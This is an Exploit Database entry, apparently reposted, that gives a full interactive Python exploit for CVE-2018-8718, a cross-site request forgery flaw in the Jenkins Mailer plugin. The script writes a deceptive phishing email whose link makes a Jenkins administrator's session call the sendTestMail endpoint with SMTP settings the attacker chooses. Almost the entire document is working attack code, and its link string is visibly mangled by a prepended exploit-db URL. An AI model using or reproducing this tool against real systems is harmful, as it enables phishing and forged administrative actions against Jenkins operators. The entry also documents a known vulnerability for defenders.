Jenkins Mailer Plugin < 1.20 - Cross-Site Request Forgery (Send Email)

Exploit Database
123 阅读

作者： Kl3_GMjq6

日期： 2018-06-05
类别：
- webapps
平台：
- linux
来源：https://www.exploit-db.com/exploits/44843/

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# Exploit Title : Jenkins mailer plugin < 1.20 - Cross-Site Request Forgery

# Date : 2018-06-05

# Exploit Author : Kl3_GMjq6

# Vendor Homepage : https://jenkins.io/

# Software Link : [https://updates.jenkins.io/download/plugins/mailer/1.20/mailer.hpi]

# Version: [Below Version 1.20 (1.1 ~ 1.20) ]

# Ref: https://jenkins.io/security/advisory/2018-03-26/#SECURITY-774

# Tested on : Linux , Windows

# CVE : CVE-2018-8718

import email.message

import smtplib

import getpass

payload_list = ['url','subject','cover_message','sender','reciver','test_email','smtp_server','l_id','l_pw']

table = {}

for i in payload_list :

table.update({i:''})

def send_mail() :

msg = email.message.Message()

msg['Subject'] = table['subject']

msg['From'] = table['sender']

msg['To'] = table['reciver']

msg.add_header('Content-Type','text/html')

msg.set_payload('<a href="https://www.exploit-db.com/exploits/44843/'+table['url']+'\

/descriptorByName/hudson.tasks.Mailer/sendTestMail?\

charset=UTF-8&sendTestMailTo='+table['test_email']+'&adminAddress='+table['reciver']+'\

&smtpPort=465&smtpServer='+table['smtp_server']+'&smtpAuthPasswordSecret='+table['l_pw']+'\

&useSMTPAuth=true&useSsl=true&smtpAuthUserName='+table['l_id']+'">\

'+table['cover_message']+'</a>')

s = smtplib.SMTP(table['smtp_server'])

s.starttls()

s.login(table['l_id'],

table['l_pw'])

s.sendmail(msg['From'], [msg['To']], msg.as_string())

def url_set() :

url = str(input("Jenkins Server's URL(ex : http://vuln.jenkins.com) : "))

if len(url) <= 0 :

print ("Can't Be Null!")

url_set()

elif url[0:4] != "http" :

print ("URL must start with 'http://' ")

url_set()

else : table['url'] = url

def subject_set() :

subject = str(input ("SUBJECT [Default : Look! Warning with your Jenkins] : "))

if len(subject) <= 0 :

subject = "Look! Waning with your Jenkins"

table['subject'] = subject

def cover_message() :

cover_message = str(input ("Cover Message [Default : Here is your Vulnable!] : "))

if len(cover_message) <= 0 :

cover_message = "Here is your Vulnable!"

table['cover_message'] = cover_message

def sender() :

sender = str(input ("Attacker E-mail(ex : attacker@abcd.com) : "))

if len(sender) <= 0 :

print ("Can't Be Null!")

sender()

else : table['sender'] = sender

def reciver() :

reciver = str(input ("Admin's E-mail(ex : admin@abcd.com) : "))

if len(reciver) <= 0 :

print ("Can't Be Null!")

reciver()

else : table['reciver'] = reciver

def test_email() :

test_email = str(input ("Tester E-mail(ex : tester@abcd.com) : "))

if len(test_email) <= 0 :

print ("Can't Be Null!")

test_email()

table['test_email']= test_email

def smtp_server() :

smtp_server = str(input ("SMTP_Server [Default : smtp.gmail.com] : "))

if len(smtp_server) <= 0 :

smtp_server = "smtp.gmail.com"

table['smtp_server'] = smtp_server

def l_id() :

l_id = str(input ("Your SMTP_Server ID: "))

if len(l_id) <= 0 :

print ("Can't Be Null!")

l_id()

table['l_id'] = l_id

def l_pw() :

l_pw = str(getpass.getpass("Your SMTP_Server PW : "))

if len(l_pw) <= 0 :

print ("Can't Be Null!")

l_pw()

table['l_pw'] = l_pw

def set_all () :

url_set()

subject_set()

cover_message()

sender()

reciver()

test_email()

smtp_server()

l_id()

l_pw()

print ("Setting Complit! Use 'show' to check options")

set_help = {

'all':"Set all payload",

'help':"Show set commend's help",

'url_set':"Set only 'url_set' payload",

'subject_set':"Set only 'url_set' payload",

'cover_message':"Set only 'cover_message' payload",

'sender':"Set only 'sender' payload",

'reciver':"Set only 'reciver' payload",

'test_email':"Set only 'test_email' payload",

'smtp_server':"Set only 'smtp_server' payload",

'l_id':"Set only 'l_id' payload",

'l_pw':"Set only 'l_pw' payload",

}

def set_select (a) :

if a=="all" : set_all()

elif a=="url_set" : url_set()

elif a=="subject_set" : subject_set()

elif a=="cover_message" : cover_message()

elif a=="sender" : sender()

elif a=="reciver" : reciver()

elif a=="test_email" : test_email()

elif a=="smtp_server" : smtp_server()

elif a=="l_id" : l_id()

elif a=="l_pw" : l_pw()

elif a=="help" :

for i in set_help :

print ("-%-20s %-s" %(i,set_help[i]))

print ('')

while True :

direct = str(input ("CVE-2018-8718 >> ")).lower()

if direct == "help" :

print ("""\

%-10s Show this help menu.

%-10s [-all / -help / -url_set / -subject_set / .... ]

%-10s Set the Payload

%-10s [-all] Show Current Setting.

%-10s Send CSRF use current setting.

""" %("help","set","","show","send"))

elif direct[0:3] == "set" :

if ' -' not in direct :

if direct == "set" :

set_option = ["help"]

else :

print ("Option error \n")

else :

set_option = direct.split(' -')[1:]

okay = 1

if len(set_option) == 1 :

if set_option[0] not in set_help :

print ("Option error \n")

else :

set_select(set_option[0])

elif len(set_option) >= 2 :

for i in set_option :

if i in ['help', 'all'] :

print (" *Option [-help / -all] cannot be use with another options \n")

okay = 0

break

for i in set_option :

if i not in set_help :

print ("Option error \n")

okay = 0

break

if okay == 1 :

for i in set_option :

set_select(i)

elif direct[:4] == "show" :

if " -" not in direct :

if direct == "show" :

for i in table :

if i != "l_pw" :

print ("%-20s %s" %(i,table[i]))

print ("If you want to see l_pw... add [-all] option")

print ("")

else :

print ("Option error \n")

else :

show_option = direct.split(" -")[1:]

if (len(show_option) == 1 and show_option[0] == 'all') :

for i in table :

print ("%-20s %s" %(i,table[i]))

print ()

else :

print ("Option error \n")

elif direct == "send" :

print ("Sending CSRF Mail.....")

try :

send_mail()

print ("Succed!!\n")

except :

print ("Fail....")

elif direct == "exit" :

break

else :

print ("Usage : help\n")